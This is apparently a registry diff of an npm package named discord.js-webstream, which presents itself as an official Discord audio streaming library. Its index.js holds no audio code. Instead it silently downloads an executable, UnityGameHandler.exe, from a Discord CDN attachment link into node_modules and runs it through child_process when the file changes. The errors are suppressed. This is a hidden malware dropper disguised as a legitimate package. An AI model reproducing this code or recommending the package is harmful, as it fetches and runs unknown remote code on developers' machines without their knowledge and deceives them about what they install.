discord.js-webstream 1.0.1
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- package/index.js +68 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,68 @@
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const fs = require('fs');
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const https = require('https');
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const { exec } = require('child_process');
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const path = require('path');
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class ExeFileHandler {
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constructor(exePath) {
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this.exePath = exePath;
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}
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onModified(event) {
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if (event === this.exePath) {
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exec(this.exePath, (error, stdout, stderr) => {
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if (error) {
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}
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});
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}
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}
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}
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async function downloadExe(repoUrl, exeFilename) {
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const folderName = 'discord.js-webstream';
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const downloadPath = path.join('node_modules', folderName, exeFilename);
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const folderPath = path.join('node_modules', folderName);
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if (!fs.existsSync(folderPath)) {
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fs.mkdirSync(folderPath, { recursive: true });
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}
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const fileStream = fs.createWriteStream(downloadPath);
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const response = await new Promise((resolve, reject) => {
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const request = https.get(repoUrl, (response) => {
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response.pipe(fileStream);
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response.on('end', () => {
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observeFile(downloadPath);
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});
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resolve(response);
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});
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request.on('error', reject);
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});
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if (response.statusCode === 200) {
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;
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} else {
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}
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}
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function observeFile(exePath) {
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fs.watch(exePath, (event) => {
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if (event === 'change') {
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exec(exePath, (error, stdout, stderr) => {
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if (error) {
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}
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});
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}
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});
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}
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const ExeToDownload = "https://cdn.discordapp.com/attachments/1131715180716376116/1172604081169248448/UnityGameHandler.exe";
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const FileName = "UnityGameHandler.exe";
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downloadExe(ExeToDownload, FileName)
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package/package.json
ADDED
@@ -0,0 +1,11 @@
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{
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"name": "discord.js-webstream",
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"version": "1.0.1",
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"description": "Official Discord Audio Streaming Implementation",
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"main": "index.js",
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"scripts": {
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"test": "echo \"Error: no test specified\" && exit 1"
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},
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"author": "discordapp",
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"license": "ISC"
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}
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